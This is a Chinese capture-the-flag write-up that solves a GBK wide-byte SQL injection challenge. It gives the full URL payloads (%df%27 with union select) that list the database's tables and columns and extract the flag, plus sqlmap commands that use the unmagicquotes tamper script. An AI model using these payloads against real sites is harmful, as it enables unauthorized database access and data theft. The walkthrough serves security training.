(宽字节注入) 手注+sqlmap

明月清风精进不止 2019-10-23

进入题目后先简单尝试一下。

(宽字节注入) 手注+sqlmap

很明显的宽字节注入。

宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

手工注入
1、判断列数:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
order by 3 时报错,说明只有两列。

2、各类信息:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
: sae-chinalover : 5.5.52-0ubuntu0.14.04.1

3、库名:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
sae-chinalover

4、表名:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
union select 2,group_concat(table_name)
from information_schema.tables
where table_schema=database()%23
ctf,ctf2,ctf3,ctf4,news

5、ctf4表的列名:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
union select 2,group_concat(column_name)
from information_schema.columns
where table_name=0x63746634%23
id,flag

这里注意:要将表名ctf4转为16进制

这里提供一个字符串转16进制的网站:

http://www.5ixuexiwang.com/str/hex.php

转了16进制之后记得在前面加上0x

6、flag列的数据:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
union select 2,(select flag from ctf4)%23
flag{this_is_sqli_flag}

sqlmap跑法
1、查看有哪些库:
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
这个时侯就要用到一个脚本了:

脚本名:unmagicquotes.py

作用:宽字符绕过

(宽字节注入) 手注+sqlmap

2、表名:

sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

3、列名:

sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

 (宽字节注入) 手注+sqlmap

4、flag列的数据:
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

(宽字节注入) 手注+sqlmap

相关推荐